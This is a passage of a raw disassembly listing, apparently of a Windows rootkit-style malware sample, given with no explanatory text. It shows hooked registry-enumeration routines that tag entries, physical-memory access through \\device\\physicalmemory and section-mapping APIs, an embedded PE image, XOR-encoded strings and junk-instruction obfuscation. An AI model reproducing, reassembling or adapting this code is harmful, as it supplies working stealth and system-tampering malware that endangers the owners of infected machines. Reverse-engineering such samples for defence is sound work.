		call	near ptr 0D4EB98Eh
		pop	ebx
		pop	dword ptr [ebx]
		mov	dword ptr [ebx-4], 0
		test	ax, ax
		jnz	short loc_41AC93
		popa
		jmp	short loc_41ACA7
; ---------------------------------------------------------------------------


loc_41AC93:				; CODE XREF: .data:0041AC8Ej
		popa
		inc	dword ptr [ebp+0Ch]
		mov	eax, [ebp+24h]
		test	eax, eax
		jz	short loc_41ACA0
		pop	dword ptr [eax]


loc_41ACA0:				; CODE XREF: .data:0041AC9Cj
		mov	eax, [ebp+14h]
		pop	dword ptr [eax]
		jmp	short loc_41AC2A
; ---------------------------------------------------------------------------


loc_41ACA7:				; CODE XREF: .data:0041AC57j
					; .data:0041AC91j
		add	esp, 4
		cmp	dword ptr [ebp+24h], 0
		jz	short loc_41ACB3
		add	esp, 4


loc_41ACB3:				; CODE XREF: .data:0041ACAEj
		pop	ebp
		retn	20h
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0FFFFFFFFh, 67655200h, 6D756E45h, 756C6156h
		db 65h,	41h, 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp


loc_41ACCE:				; CODE XREF: .data:0041AD43j
		mov	eax, [ebp+14h]
		push	dword ptr [eax]
		mov	eax, [ebp+24h]
		test	eax, eax
		jz	short loc_41ACDC
		push	dword ptr [eax]


loc_41ACDC:				; CODE XREF: .data:0041ACD8j
		push	dword ptr [ebp+24h]
		push	dword ptr [ebp+20h]
		push	dword ptr [ebp+1Ch]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	near ptr 243AEFBh
		test	eax, eax
		jnz	short loc_41AD45
		pusha
		mov	eax, [ebp+10h]
		mov	ebx, eax


loc_41AD03:				; CODE XREF: .data:0041AD09j
		cmp	byte ptr [ebx],	0
		jz	short loc_41AD0B
		inc	ebx
		jmp	short loc_41AD03
; ---------------------------------------------------------------------------


loc_41AD0B:				; CODE XREF: .data:0041AD06j
		mov	word ptr [ebx],	5623h
		inc	ebx
		inc	ebx
		push	dword ptr [ebx]
		mov	word ptr [ebx],	0
		push	ebx
		push	eax
		call	near ptr 0C4DB92Ch
		pop	ebx
		pop	dword ptr [ebx]
		mov	word ptr [ebx-2], 0
		test	ax, ax
		jnz	short loc_41AD31
		popa
		jmp	short loc_41AD45
; ---------------------------------------------------------------------------


loc_41AD31:				; CODE XREF: .data:0041AD2Cj
		popa
		inc	dword ptr [ebp+0Ch]
		mov	eax, [ebp+24h]
		test	eax, eax
		jz	short loc_41AD3E
		pop	dword ptr [eax]


loc_41AD3E:				; CODE XREF: .data:0041AD3Aj
		mov	eax, [ebp+14h]
		pop	dword ptr [eax]
		jmp	short loc_41ACCE
; ---------------------------------------------------------------------------


loc_41AD45:				; CODE XREF: .data:0041ACFBj
					; .data:0041AD2Fj
		add	esp, 4
		cmp	dword ptr [ebp+24h], 0
		jz	short loc_41AD51
		add	esp, 4


loc_41AD51:				; CODE XREF: .data:0041AD4Cj
		pop	ebp
		retn	20h
; ---------------------------------------------------------------------------
		db 3 dup(0FFh)
		db 2 dup(0FFh),	0
aKernel32_dll	db 'kernel32.dll',0     ; DATA XREF: sub_401EAF+2C2o
					; .data:off_41ADB4o
aNtdll_dll	db 'ntdll.dll',0        ; DATA XREF: sub_4019A1+1o
					; .data:0041ADC4o ...
aAdvapi32_dll	db 'advapi32.dll',0     ; DATA XREF: .data:0041AE14o
					; .data:0041AE34o
aIphlpapi_dll	db 'iphlpapi.dll',0
aInetmib1_dll	db 'inetmib1.dll',0
aWsock32_dll	db 'wsock32.dll',0
aUser32_dll	db 'user32.dll',0
off_41ADB0	dd offset aProcess32next ; DATA	XREF: sub_401EAF+A9r
					; sub_401EAF+E3r ...
					; "Process32Next"
off_41ADB4	dd offset aKernel32_dll	; DATA XREF: sub_401EAF+84r
					; "kernel32.dll"
off_41ADB8	dd offset word_41A952	; DATA XREF: sub_401E23+78r
byte_41ADBC	db 0			; DATA XREF: sub_401EAF+49r
					; sub_401EAF+66r
		align 10h
		dd offset dword_41A874+4
		dd offset aNtdll_dll	; "ntdll.dll"
		dd offset loc_41A891
		dd 1, 41A7F1h, 41AD5Bh,	41A7FFh, 1, 41A770h, 41AD5Bh, 41A77Eh
		dd 2, 41AA69h, 41AD72h,	41AA75h, 1, 41AA01h, 41AD72h, 41AA0Dh
		dd 0
		dd offset dword_41AAD4+3
		dd offset aAdvapi32_dll	; "advapi32.dll"
		dd offset loc_41AAE5
		dd 1, 41AB7Bh, 41AD72h,	41AB89h, 0
		dd offset dword_41AC14+5
		dd offset aAdvapi32_dll	; "advapi32.dll"
		dd offset loc_41AC27
		dd 1, 41ACBDh, 41AD72h,	41ACCBh, 5 dup(0)
aRtlinitunicode	db 'RtlInitUnicodeString',0 ; DATA XREF: sub_4019A1+Do
aNtunmapviewofs	db 'NtUnmapViewOfSection',0 ; DATA XREF: sub_4019A1+1Do
aNtopensection	db 'NtOpenSection',0    ; DATA XREF: sub_4019A1+2Do
aNtmapviewofsec	db 'NtMapViewOfSection',0 ; DATA XREF: sub_4019A1+3Do
aRtlntstatustod	db 'RtlNtStatusToDosError',0 ; DATA XREF: sub_4019A1+4Do
aCurrent_user	db 'CURRENT_USER',0     ; DATA XREF: sub_401A00+4Do
		align 10h
aDevicePhysical:			; DATA XREF: sub_401A00+8o
		unicode	0, <\device\physicalmemory>,0
aWcscmp		db 'wcscmp',0           ; DATA XREF: .data:off_41AF78o
aHtons		db 'htons',0
aVirtualprotect	db 'VirtualProtect',0
aGetcurrentproc	db 'GetCurrentProcessId',0
aFindwindowa	db 'FindWindowA',0
aSendmessagea	db 'SendMessageA',0
aIsbadreadptr	db 'IsBadReadPtr',0
aGlobalfindatom	db 'GlobalFindAtomA',0
aGlobalfindat_0	db 'GlobalFindAtomW',0
byte_41AF74	db 3			; DATA XREF: sub_401B3E+68r
		align 4
off_41AF78	dd offset aWcscmp	; DATA XREF: sub_401B3E+CFr
					; sub_401B3E+118r
					; "wcscmp"
off_41AF7C	dd offset aNtdll_dll	; DATA XREF: sub_401B3E+BCr
					; "ntdll.dll"
		dd 5, 41AF05h, 41AD99h,	7, 41AF0Bh, 41AD5Bh, 8,	41AF1Ah
		dd 41AD5Bh, 9, 41AF2Eh,	41ADA5h, 0Ah, 41AF3Ah, 41ADA5h
		dd 0Bh,	41AF47h, 41AD5Bh, 0Ch, 41AF54h,	41AD5Bh, 0Dh, 41AF64h
		dd 41AD5Bh
dword_41AFE0	dd 905A4Dh, 3, 4, 0FFFFh, 0B8h,	0		dd 40h,	8 dup(0)
		dd 80h,	0EBA1F0Eh, 0CD09B400h, 4C01B821h, 685421CDh, 70207369h
		dd 72676F72h, 63206D61h, 6F6E6E61h, 65622074h, 6E757220h
		dd 206E6920h, 20534F44h, 65646F6Dh, 0A0D0D2Eh, 24h, 0
		dd 4550h, 7014Ch, 427CB50Ah, 2 dup(0)
		dd 210E00E0h, 3702010Bh, 800h, 0C00h, 1000h, 1190h, 1000h
		dd 2000h, 10000000h, 1000h, 200h, 1, 0
		dd 4, 0
		dd 8000h, 400h,	0
		dd 2, 100000h, 1000h, 100000h, 1000h, 0
		dd 10h,	7000h, 48h, 5000h, 37Ch, 6 dup(0)
		dd 6000h, 0DCh,	3000h, 54h, 12h	dup(0)
a_text		db '.text',0
		align 10h
		db '¼',7,0
		align 4
		dd 1000h, 7BCh,	400h, 3	dup(0)
		dd 60000020h, 7373622Eh, 0
		dd 0FE0h, 2000h, 5 dup(0)
		dd 0C0000080h, 6164722Eh, 6174h, 54h, 3000h, 54h, 0C00h
		dd 3 dup(0)
		dd 40000020h, 7461642Eh, 61h, 0C4h, 4000h, 0C4h, 0E00h
		dd 3 dup(0)
		dd 0C0000040h, 6164692Eh, 6174h, 37Ch, 5000h, 37Ch, 1000h
		dd 3 dup(0)
		dd 0C0000060h, 6C65722Eh, 636Fh, 0E4h, 6000h, 0E4h, 1600h
		dd 3 dup(0)
		dd 2000020h, 6164652Eh,	6174h, 48h, 7000h, 48h,	1800h
		dd 3 dup(0)
		dd 40000020h, 5Ch dup(0)
		dd 8B40C031h, 0F704244Ch, 60441h, 0F740000h, 824448Bh
		dd 1024548Bh, 3B80289h,	0C3000000h

; =============== S U B	R O U T	I N E =======================================



sub_41B400	proc near		; CODE XREF: .data:0041B528p
					; .data:0041B556p

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	10001000h
		push	large dword ptr	fs:0
		mov	large fs:0, esp


loc_41B41D:				; CODE XREF: sub_41B400+44j
					; sub_41B400+4Aj
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41B44C
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_41B44C
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	ecx, [esp+1Ch+var_14]
		mov	ecx, [eax+0Ch]
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_41B41D
		call	dword ptr [ebx+esi*4+8]
		jmp	short loc_41B41D
; ---------------------------------------------------------------------------


loc_41B44C:				; CODE XREF: sub_41B400+2Aj
					; sub_41B400+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41B400	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B45A	proc near		; CODE XREF: .data:0041B51Bp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	10001092h
		push	[ebp+arg_0]
		call	sub_41BAF4
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41B45A	endp

; ---------------------------------------------------------------------------
		db 0FCh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	ebx, [ebp+0Ch]
		mov	eax, [ebp+8]
		test	dword ptr [eax+4], 6
		jnz	loc_41B54F
		mov	[ebp-8], eax
		mov	eax, [ebp+10h]
		mov	[ebp-4], eax
		lea	eax, [ebp-8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]


loc_41B4AD:				; CODE XREF: .data:0041B546j
		cmp	esi, 0FFFFFFFFh
		jz	loc_41B55E
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_41B53D
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		mov	eax, [ebp-14h]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	ds:10004034h, eax
		mov	edx, [ebp-14h]
		mov	eax, [edx]
		mov	ds:10004038h, eax
		mov	eax, [edx+4]
		mov	ds:1000403Ch, eax
		push	esi
		push	edi
		push	ecx
		mov	ecx, 14h
		lea	edi, ds:10004040h
		mov	esi, ds:10004038h
		rep movsd
		lea	edi, ds:10004040h
		mov	ds:10004038h, edi
		pop	ecx
		pop	edi
		pop	esi
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+0Ch]
		or	eax, eax
		jz	short loc_41B53D
		js	short loc_41B54B
		mov	edi, [ebx+8]
		push	ebx
		call	sub_41B45A
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_41B400
		add	esp, 8
		lea	ecx, [esi+esi*2]
		mov	eax, [edi+ecx*4]
		mov	eax, [ebx+0Ch]
		call	dword ptr [edi+ecx*4+8]


loc_41B53D:				; CODE XREF: .data:0041B4BEj
					; .data:0041B513j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	loc_41B4AD
; ---------------------------------------------------------------------------


loc_41B54B:				; CODE XREF: .data:0041B515j
		xor	eax, eax
		jmp	short loc_41B568
; ---------------------------------------------------------------------------


loc_41B54F:				; CODE XREF: .data:0041B492j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_41B400
		add	esp, 0Ch


loc_41B55E:				; CODE XREF: .data:0041B4B0j
		push	0Bh
		call	sub_41BB60
		add	esp, 4


loc_41B568:				; CODE XREF: .data:0041B54Dj
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		cmp	dword ptr [ebp+0Ch], 1
		jnz	short loc_41B581
		call	sub_41B5A4


loc_41B581:				; CODE XREF: .data:0041B57Aj
		call	sub_41BA53
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		mov	eax, ds:10004000h
		call	eax
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	0Ch
; ---------------------------------------------------------------------------
		db 0B8h, 1, 0
		dd 0F2EB0000h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B5A4	proc near		; CODE XREF: .data:0041B57Cp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	edi
		push	0
		push	0FFFFFFF6h
		call	sub_41BB18
		mov	[ebp+var_8], eax
		push	0
		push	0FFFFFFF5h
		call	sub_41BB18
		mov	[ebp+var_4], eax
		push	0
		push	0FFFFFFF4h
		call	sub_41BB18
		mov	[ebp+var_C], eax
		push	1000401Eh
		push	[ebp+var_8]
		call	sub_41BB0C
		mov	ds:10004008h, eax
		push	1000401Ch
		push	[ebp+var_4]
		call	sub_41BB0C
		mov	ds:10004004h, eax
		push	1000401Ch
		push	[ebp+var_C]
		call	sub_41BB0C
		add	esp, 30h
		mov	ds:1000400Ch, eax
		mov	edi, ds:10004004h
		or	edi, edi
		jz	short loc_41B61D
		push	0
		push	edi
		call	sub_41BB6C
		add	esp, 8


loc_41B61D:				; CODE XREF: sub_41B5A4+6Cj
		mov	edi, ds:1000400Ch
		or	edi, edi
		jz	short loc_41B637
		push	0
		push	edi
		call	sub_41BB6C
		add	esp, 8
		call	sub_41B63C


loc_41B637:				; CODE XREF: sub_41B5A4+81j
		pop	edi
		leave
		retn
sub_41B5A4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B63C	proc near		; CODE XREF: sub_41B5A4+8Ep

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_C], 0
		call	sub_41BA88
		mov	ebx, eax
		mov	[ebp+var_10], ebx
		jmp	short loc_41B679
; ---------------------------------------------------------------------------


loc_41B658:				; CODE XREF: sub_41B63C+45j
		cmp	byte ptr ds:0[ebx], 3Dh
		jz	short loc_41B665
		inc	[ebp+var_C]


loc_41B665:				; CODE XREF: sub_41B63C+24j
		mov	edi, ebx
		xor	eax, eax
		stc
		sbb	ecx, ecx
		repne scasb
		neg	ecx
		lea	eax, [ecx-2]
		mov	edi, eax
		inc	edi
		lea	ebx, [ebx+edi]


loc_41B679:				; CODE XREF: sub_41B63C+1Aj
		cmp	byte ptr ds:0[ebx], 0
		jnz	short loc_41B658
		mov	edi, [ebp+var_C]
		inc	edi
		lea	edi, ds:0[edi*4]
		mov	[ebp+var_14], edi
		push	[ebp+var_14]
		call	sub_41BB3C
		pop	ecx
		mov	[ebp+var_8], eax
		mov	ds:10004010h, eax
		cmp	[ebp+var_8], 0
		jnz	short loc_41B6AC
		xor	eax, eax
		jmp	short loc_41B722
; ---------------------------------------------------------------------------


loc_41B6AC:				; CODE XREF: sub_41B63C+6Aj
		mov	ebx, [ebp+var_10]
		jmp	short loc_41B705
; ---------------------------------------------------------------------------


loc_41B6B1:				; CODE XREF: sub_41B63C+D1j
		mov	edi, ebx
		xor	eax, eax
		stc
		sbb	ecx, ecx
		repne scasb
		neg	ecx
		lea	eax, [ecx-2]
		mov	edi, eax
		inc	edi
		mov	[ebp+var_4], edi
		cmp	byte ptr ds:0[ebx], 3Dh
		jz	short loc_41B6FF
		push	[ebp+var_4]
		call	sub_41BB3C
		pop	ecx
		mov	esi, [ebp+var_8]
		mov	ds:0[esi], eax
		or	eax, eax
		jnz	short loc_41B6E8
		jmp	short loc_41B722
; ---------------------------------------------------------------------------


loc_41B6E8:				; CODE XREF: sub_41B63C+A8j
		push	ebx
		mov	edi, [ebp+var_8]
		push	dword ptr ds:0[edi]
		call	sub_41BB90
		add	esp, 8
		add	[ebp+var_8], 4


loc_41B6FF:				; CODE XREF: sub_41B63C+91j
		mov	edx, [ebp+var_4]
		lea	ebx, [ebx+edx]


loc_41B705:				; CODE XREF: sub_41B63C+73j
		cmp	byte ptr ds:0[ebx], 0
		jnz	short loc_41B6B1
		mov	edx, [ebp+var_8]
		mov	dword ptr ds:0[edx], 0
		mov	eax, 1


loc_41B722:				; CODE XREF: sub_41B63C+6Ej
					; sub_41B63C+AAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B63C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B728	proc near		; CODE XREF: sub_41B7D2+22p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_4], 181h
		push	esi
		push	[ebp+arg_0]
		mov	eax, ds:10004098h
		lea	eax, ds:10002000h[eax]
		push	eax
		call	sub_41BB48
		add	esp, 0Ch
		xor	edi, edi
		jmp	short loc_41B771
; ---------------------------------------------------------------------------


loc_41B757:				; CODE XREF: sub_41B728+4Bj
		mov	eax, ds:10004098h
		add	eax, edi
		lea	eax, ds:10002000h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 0D9h
		mov	[eax], dl
		inc	edi


loc_41B771:				; CODE XREF: sub_41B728+2Dj
		cmp	edi, esi
		jl	short loc_41B757
		mov	[ebp+var_8], 389h
		mov	eax, ds:10004098h
		add	eax, esi
		mov	byte ptr ds:10002000h[eax], 0
		xor	edi, edi
		mov	edi, ds:10004098h
		add	dword ptr ds:10004098h,	3
		mov	eax, ds:10004098h
		lea	eax, [eax+esi+4]
		mov	ds:10004098h, eax
		inc	dword ptr ds:10004098h
		cmp	dword ptr ds:10004098h,	0DB6h
		jle	short loc_41B7C1
		and	dword ptr ds:10004098h,	0


loc_41B7C1:				; CODE XREF: sub_41B728+90j
		mov	[ebp+var_C], 9Ch
		lea	eax, [edi+10002000h]
		pop	edi
		pop	esi
		leave
		retn
sub_41B728	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B7D2	proc near		; CODE XREF: .data:0041B96Bp

var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
var_5		= byte ptr -5
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		lea	edi, [ebp+var_5]
		lea	esi, ds:1000409Ch
		xor	ecx, ecx
		inc	ecx
		rep movsb
		call	sub_41BAC4
		push	5
		push	100040BDh
		call	sub_41B728
		add	esp, 8
		push	eax
		push	0
		push	1F0001h
		call	sub_41BAE8
		mov	[ebp+var_4], eax
		or	eax, eax
		jz	short loc_41B82D
		mov	[ebp+var_C], 4FA1h
		inc	[ebp+var_C]
		push	eax
		call	sub_41BAA0
		mov	[ebp+var_E], 6C6Dh
		inc	[ebp+var_E]
		xor	eax, eax
		inc	eax


loc_41B82D:				; CODE XREF: sub_41B7D2+3Cj
		pop	edi
		pop	esi
		leave
		retn
sub_41B7D2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B831	proc near		; CODE XREF: .data:0041B99Fp

var_10A		= byte ptr -10Ah
var_6		= word ptr -6
var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		call	sub_41BA7C
		call	sub_41BAAC
		mov	ecx, edi
		or	eax, 0FFFFFFFFh


loc_41B84F:				; CODE XREF: sub_41B831+23j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_41B84F
		mov	ebx, eax
		mov	[ebp+var_6], bx
		mov	ax, [ebp+var_6]
		mov	[ebp+var_2], ax
		jmp	short loc_41B884
; ---------------------------------------------------------------------------


loc_41B866:				; CODE XREF: sub_41B831+59j
		movzx	eax, [ebp+var_2]
		cmp	byte ptr [edi+eax], 5Ch
		jnz	short loc_41B880
		call	sub_41BA70
		inc	[ebp+var_2]
		call	sub_41BAC4
		jmp	short loc_41B88C
; ---------------------------------------------------------------------------


loc_41B880:				; CODE XREF: sub_41B831+3Dj
		dec	[ebp+var_2]


loc_41B884:				; CODE XREF: sub_41B831+33j
		movzx	eax, [ebp+var_2]
		or	eax, eax
		jg	short loc_41B866


loc_41B88C:				; CODE XREF: sub_41B831+4Dj
		mov	ax, [ebp+var_2]
		cmp	ax, [ebp+var_6]
		jnb	short loc_41B8CA
		mov	[ebp+var_4], 0
		jmp	short loc_41B8B8
; ---------------------------------------------------------------------------


loc_41B89E:				; CODE XREF: sub_41B831+97j
		movzx	eax, [ebp+var_4]
		movzx	edx, [ebp+var_2]
		mov	ecx, eax
		add	ecx, edx
		mov	dl, [edi+ecx]
		mov	[ebp+eax+var_10A], dl
		inc	[ebp+var_4]


loc_41B8B8:				; CODE XREF: sub_41B831+6Bj
		movzx	eax, [ebp+var_4]
		movzx	edx, [ebp+var_6]
		movzx	ecx, [ebp+var_2]
		sub	edx, ecx
		cmp	eax, edx
		jle	short loc_41B89E


loc_41B8CA:				; CODE XREF: sub_41B831+63j
		mov	esi, 6BBCh
		add	esi, 7D41h
		lea	eax, [ebp+var_10A]
		push	eax
		call	sub_41BADC
		call	sub_41BAD0
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B831	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B8EB	proc near		; CODE XREF: .data:0041B9F2p

var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	esi
		push	edi
		call	sub_41BA7C
		push	100040BBh
		push	[ebp+arg_0]
		call	sub_41BB84
		add	esp, 8
		lea	edi, [ebp+var_8]
		lea	esi, ds:1000409Dh
		movsd
		movsd
		pop	edi
		pop	esi
		leave
		retn
sub_41B8EB	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 21Ch
		push	esi
		push	edi
		mov	ax, ds:100040A5h
		mov	[ebp-217h], ax
		mov	eax, ds:10004094h
		add	eax, 698h
		push	eax
		call	sub_41BB78
		mov	byte ptr [ebp-100h], 84h
		sub	byte ptr [ebp-100h], 68h
		mov	eax, ds:10004090h
		mov	edx, eax
		add	edx, 5
		push	edx
		mov	edx, 0Fh
		sub	edx, ds:10004094h
		push	edx
		mov	edx, 4
		sub	edx, eax
		push	edx
		call	sub_41B7D2
		add	esp, 10h
		or	eax, eax
		jz	short loc_41B97F
		xor	eax, eax
		inc	eax
		jmp	loc_41BA28
; ---------------------------------------------------------------------------


loc_41B97F:				; CODE XREF: .data:0041B975j
		push	104h
		lea	eax, [ebp-205h]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_41BA94
		call	sub_41BA7C
		lea	eax, [ebp-205h]
		push	eax
		call	sub_41B831
		mov	byte ptr [ebp-101h], 1Bh
		add	byte ptr [ebp-101h], 1
		lea	edi, [ebp-215h]
		lea	esi, ds:100040A7h
		mov	ecx, 4
		rep movsd
		push	0FFh
		lea	eax, [ebp-0FFh]
		push	eax
		call	sub_41BAB8
		mov	eax, ds:100040B7h
		mov	[ebp-21Bh], eax
		call	sub_41BA7C
		call	sub_41BA70
		lea	eax, [ebp-0FFh]
		push	eax
		call	sub_41B8EB
		call	sub_41BAC4
		lea	eax, [ebp-215h]
		push	eax
		lea	eax, [ebp-0FFh]
		push	eax
		call	sub_41BB84
		add	esp, 10h
		push	1
		lea	eax, [ebp-0FFh]
		push	eax
		call	sub_41BB00
		call	sub_41BAAC
		xor	eax, eax
		inc	eax


loc_41BA28:				; CODE XREF: .data:0041B97Aj
		pop	edi
		pop	esi
		leave
		retn	0Ch
; ---------------------------------------------------------------------------
		align 10h
		dd 243CD950h, 0F24048Bh, 82434BAh, 240C8166h
		db 0, 2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41BA53


loc_41BA42:				; CODE XREF: sub_41BA53+Dj
		fldcw	word ptr [esp+4+var_4]
		pop	ecx
		mov	al, ah
		and	eax, 3
		retn
; END OF FUNCTION CHUNK	FOR sub_41BA53
; ---------------------------------------------------------------------------
		dd 243CD950h
		db 58h,	0EBh, 0F3h

; =============== S U B	R O U T	I N E =======================================



sub_41BA53	proc near		; CODE XREF: .data:loc_41B581p

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0041BA42 SIZE 0000000A BYTES

		push	eax
		fnstcw	word ptr [esp+4+var_4]
		mov	eax, [esp+4+var_4]
		or	word ptr [esp+4+var_4],	300h
		jmp	short loc_41BA42
sub_41BA53	endp

; ---------------------------------------------------------------------------
		align 4
		dd 50E825FFh, 90901000h, 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41BA70	proc near		; CODE XREF: sub_41B831+3Fp
					; .data:0041B9E6p
		jmp	dword ptr ds:100050ECh
sub_41BA70	endp

; ---------------------------------------------------------------------------
		dw 9090h
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41BA7C	proc near		; CODE XREF: sub_41B831+Fp
					; sub_41B8EB+7p ...
		jmp	dword ptr ds:100050F0h
sub_41BA7C	endp

; ---------------------------------------------------------------------------
		dw 9090h
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41BA88	proc near		; CODE XREF: sub_41B63C+10p
		jmp	dword ptr ds:100050F4h
sub_41BA88	endp

; ---------------------------------------------------------------------------
		dw 9090h
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41BA94	proc near		; CODE XREF: .data:0041B98Ep
		jmp	dword ptr ds:100050F8h
sub_41BA94	endp

; ---------------------------------------------------------------------------
		dw 9090h
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41BAA0	proc near		; CODE XREF: sub_41B7D2+49p
		jmp	dword ptr ds:100050FCh
sub_41BAA0	endp

; ---------------------------------------------------------------------------
		dw 9090h
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41BAAC	proc near		; CODE XREF: sub_41B831+14p
					; .data:0041BA20p
		jmp	dword ptr ds:10005100h
sub_41BAAC	endp

; ---------------------------------------------------------------------------
		dw 9090h
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41BAB8	proc near		; CODE XREF: .data:0041B9D1p
		jmp	dword ptr ds:10005104h
sub_41BAB8	endp

; ---------------------------------------------------------------------------
		dw 9090h
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41BAC4	proc near		; CODE XREF: sub_41B7D2+16p
					; sub_41B831+48p ...
		jmp	dword ptr ds:10005108h
sub_41BAC4	endp

; ---------------------------------------------------------------------------
		dw 9090h
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41BAD0	proc near		; CODE XREF: sub_41B831+B0p
		jmp	dword ptr ds:1000510Ch
sub_41BAD0	endp

; ---------------------------------------------------------------------------
		dw 9090h
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41BADC	proc near		; CODE XREF: sub_41B831+ABp
		jmp	dword ptr ds:10005110h
sub_41BADC	endp

; ---------------------------------------------------------------------------
		dw 9090h
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41BAE8	proc near		; CODE XREF: sub_41B7D2+32p
		jmp	dword ptr ds:10005114h
sub_41BAE8	endp

; ---------------------------------------------------------------------------
		dw 9090h
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41BAF4	proc near		; CODE XREF: sub_41B45A+13p
		jmp	dword ptr ds:10005118h
sub_41BAF4	endp

; ---------------------------------------------------------------------------
		dw 9090h
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41BB00	proc near		; CODE XREF: .data:0041BA1Bp
		jmp	dword ptr ds:1000511Ch
sub_41BB00	endp

; ---------------------------------------------------------------------------
		dw 9090h
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41BB0C	proc near		; CODE XREF: sub_41B5A4+33p
					; sub_41B5A4+45p ...
		jmp	dword ptr ds:10005128h
sub_41BB0C	endp

; ---------------------------------------------------------------------------
		dw 9090h
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41BB18	proc near		; CODE XREF: sub_41B5A4+Bp
					; sub_41B5A4+17p ...
		jmp	dword ptr ds:1000512Ch
sub_41BB18	endp

